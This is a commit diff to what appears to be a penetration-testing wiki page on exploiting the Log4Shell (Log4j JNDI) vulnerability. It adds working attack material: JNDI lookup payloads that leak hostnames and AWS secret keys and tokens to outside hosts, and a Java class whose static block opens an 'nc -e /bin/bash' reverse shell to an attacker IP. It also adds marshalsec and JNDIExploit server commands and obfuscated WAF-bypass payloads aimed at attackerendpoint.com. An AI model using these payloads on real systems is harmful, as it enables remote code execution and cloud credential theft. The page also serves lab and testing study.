GitBook: [#2920] No subject
This commit is contained in:
CPol
gitbook-bot
parent
fa49104cd3
commit
6b9df92e57
@ -71,6 +71,7 @@ This vulnerability is very easy to discover because it will send at least a **DN
|
||||
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (using [interactsh](https://github.com/projectdiscovery/interactsh))
|
||||
* `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (using Burp Suite)
|
||||
* `${jndi:ldap://2j4ayo.dnslog.cn}` (using [dnslog](http://dnslog.cn))
|
||||
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` using (using [huntress](https://log4shell.huntress.com))
|
||||
|
||||
Note that **even if a DNS request is received that doesn't mean the application is exploitable** (or even vulnerable), you will need to try to exploit it.
|
||||
|
||||
@ -99,35 +100,101 @@ For example you could request something like:\
|
||||
|
||||
Other information you could try to **leak**:
|
||||
|
||||
* ${hostName}
|
||||
* ${sys:user.name}
|
||||
* ${sys:user.home}
|
||||
* ${sys:user.dir}
|
||||
* ${sys:java.class.path}
|
||||
* ${sys:java.home}
|
||||
* ${sys:java.vendor}
|
||||
* ${sys:java.version}
|
||||
* ${sys:java.vendor.url}
|
||||
* ${sys:java.vm.version}
|
||||
* ${sys:java.vm.vendor}
|
||||
* ${sys:java.vm.name}
|
||||
* ${sys:PROJECT\_HOME}
|
||||
* ${sys:os.name}
|
||||
* ${sys:os.arch}
|
||||
* ${sys:os.version}
|
||||
* ${java:version}
|
||||
* ${java:os}
|
||||
* ${env:JAVA\_VERSION}
|
||||
* ${env:PATH}
|
||||
* ${env:USER}
|
||||
* ${env:AWS\_SECRET\_ACCESS\_KEY}
|
||||
* ${env:AWS\_SESSION\_TOKEN}
|
||||
* ${env:AWS\_SHARED\_CREDENTIALS\_FILE}
|
||||
* ${env:AWS\_WEB\_IDENTITY\_TOKEN\_FILE}
|
||||
* ${env:AWS\_PROFILE}
|
||||
* ${env:AWS\_CONFIG\_FILE}
|
||||
* ${env:AWS\_ACCESS\_KEY\_ID}
|
||||
* Any other env variable name that could store sensitive information
|
||||
```
|
||||
${env:AWS_ACCESS_KEY_ID}
|
||||
${env:AWS_CONFIG_FILE}
|
||||
${env:AWS_PROFILE}
|
||||
${env:AWS_SECRET_ACCESS_KEY}
|
||||
${env:AWS_SESSION_TOKEN}
|
||||
${env:AWS_SHARED_CREDENTIALS_FILE}
|
||||
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
|
||||
${env:HOSTNAME}
|
||||
${env:JAVA_VERSION}
|
||||
${env:PATH}
|
||||
${env:USER}
|
||||
${hostName}
|
||||
${java.vendor}
|
||||
${java:os}
|
||||
${java:version}
|
||||
${log4j:configParentLocation}
|
||||
${sys:PROJECT_HOME}
|
||||
${sys:file.separator}
|
||||
${sys:java.class.path}
|
||||
${sys:java.class.path}
|
||||
${sys:java.class.version}
|
||||
${sys:java.compiler}
|
||||
${sys:java.ext.dirs}
|
||||
${sys:java.home}
|
||||
${sys:java.io.tmpdir}
|
||||
${sys:java.library.path}
|
||||
${sys:java.specification.name}
|
||||
${sys:java.specification.vendor}
|
||||
${sys:java.specification.version}
|
||||
${sys:java.vendor.url}
|
||||
${sys:java.vendor}
|
||||
${sys:java.version}
|
||||
${sys:java.vm.name}
|
||||
${sys:java.vm.specification.name}
|
||||
${sys:java.vm.specification.vendor}
|
||||
${sys:java.vm.specification.version}
|
||||
${sys:java.vm.vendor}
|
||||
${sys:java.vm.version}
|
||||
${sys:line.separator}
|
||||
${sys:os.arch}
|
||||
${sys:os.name}
|
||||
${sys:os.version}
|
||||
${sys:path.separator}
|
||||
${sys:user.dir}
|
||||
${sys:user.home}
|
||||
${sys:user.name}
|
||||
|
||||
Any other env variable name that could store sensitive information
|
||||
```
|
||||
|
||||
### RCE Information
|
||||
|
||||
{% hint style="info" %}
|
||||
Hosts running on **JDKs versions higher than 6u141, 7u131, 8u121 will be protected against the LDAP class loading** vector **BUT NOT the deserialisation vector**. This is because `com.sun.jndi.ldap.object.trustURLCodebase` is disabled by default, hence JNDI cannot load remote codebase using LDAP. But we must stress deserialisation and variable leaks are still possible.\
|
||||
This means that to **exploit the mentioned versions** you will need to **abuse some trusted gadget** that exists on the java application (using ysoserial or JNDIExploit for example). But to exploit lower versions, you can make them load an execute arbitrary classes (which makes the attack easier).
|
||||
|
||||
For more information check [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||||
{% endhint %}
|
||||
|
||||
### RCE - Marshalsec with custom payload
|
||||
|
||||
_This trick is entirely taken from the **THM box:**_ [_**https://tryhackme.com/room/solar**_](https://tryhackme.com/room/solar)_****_
|
||||
|
||||
For this exploit the tool [**marshalsec**](https://github.com/mbechler/marshalsec) (download a **** [**jar version from here**](https://github.com/RandomRobbieBF/marshalsec-jar)) will be used to create a LDAP referral server to direct connections to our secondary HTTP server were the exploit will be served:
|
||||
|
||||
```bash
|
||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http:/<your_ip_http_server>:8000/#Exploit"
|
||||
```
|
||||
|
||||
We want the victim to load the code that will send us a reverse shell, so you can create a java file called Exploit.java with the following content:
|
||||
|
||||
{% code title="" %}
|
||||
```java
|
||||
public class Exploit {
|
||||
static {
|
||||
try {
|
||||
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Create the **class file** executing: `javac Exploit.java -source 8 -target 8` and then run a **HTTP server** in the same directory the class file was created: `python3 -m http.server`.\
|
||||
The **LDAP server from marshalsec should be pointing this HTTP server**.\
|
||||
Then, you can make the **vulnerable web server execute the exploit class** by sending a payload like:
|
||||
|
||||
```bash
|
||||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
```
|
||||
|
||||
_Please, note that if Java is not configured to load remote codebase using LDAP, this custom exploit won’t work. In that case, you need to abuse a trusted class to execute arbitrary code._
|
||||
|
||||
### RCE - **JNDIExploit**
|
||||
|
||||
@ -137,11 +204,11 @@ Note that for some reason the author removed this project from github after the
|
||||
Moreover, you cannot find the source code in wayback machine, so either analyse the source code, or execute the jar knowing that you don't know what you are executing.
|
||||
{% endhint %}
|
||||
|
||||
For this example you can just run this vulnerable web server to log4shell in port 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (in the README you will find how to run it). This vulnerable app is logging with a vulnerable version of log4shell the content of the HTTP request header _X-Api-Version_.
|
||||
For this example you can just run this **vulnerable web server to log4shell** in port 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_in the README you will find how to run it_). This vulnerable app is logging with a vulnerable version of log4shell the content of the HTTP request header _X-Api-Version_.
|
||||
|
||||
Then, you can download the JNDIExploit jar file and execute it with:
|
||||
Then, you can download the **JNDIExploit** jar file and execute it with:
|
||||
|
||||
```
|
||||
```bash
|
||||
wget wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
|
||||
unzip JNDIExploit.v1.2.zip
|
||||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||||
@ -176,7 +243,7 @@ When sending the attacks you will see some output in the terminal where you exec
|
||||
|
||||
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
|
||||
|
||||
In a similar way to the previous exploit, you can try to use [JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit) to exploit this vulnerability.\
|
||||
In a similar way to the previous exploit, you can try to use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to exploit this vulnerability.\
|
||||
You can generate the URLs to send to the victim running:
|
||||
|
||||
```bash
|
||||
@ -187,8 +254,7 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
||||
```
|
||||
|
||||
_However, this won’t generally work (for example it doesn’t work with log4shell-vulnerable-app) I think because it’s not abusing a trusted class to execute arbitrary code._\
|
||||
|
||||
_This attack using a custom generated java object will work in labs like the **THM solar room**. However, this won’t generally work (as by default Java is not configured to load remote codebase using LDAP) I think because it’s not abusing a trusted class to execute arbitrary code._
|
||||
|
||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||
|
||||
@ -221,6 +287,7 @@ ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.c
|
||||
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
|
||||
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
|
||||
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
|
||||
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
|
||||
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
||||
```
|
||||
|
||||
|
||||
Loading…
Reference in New Issue
Block a user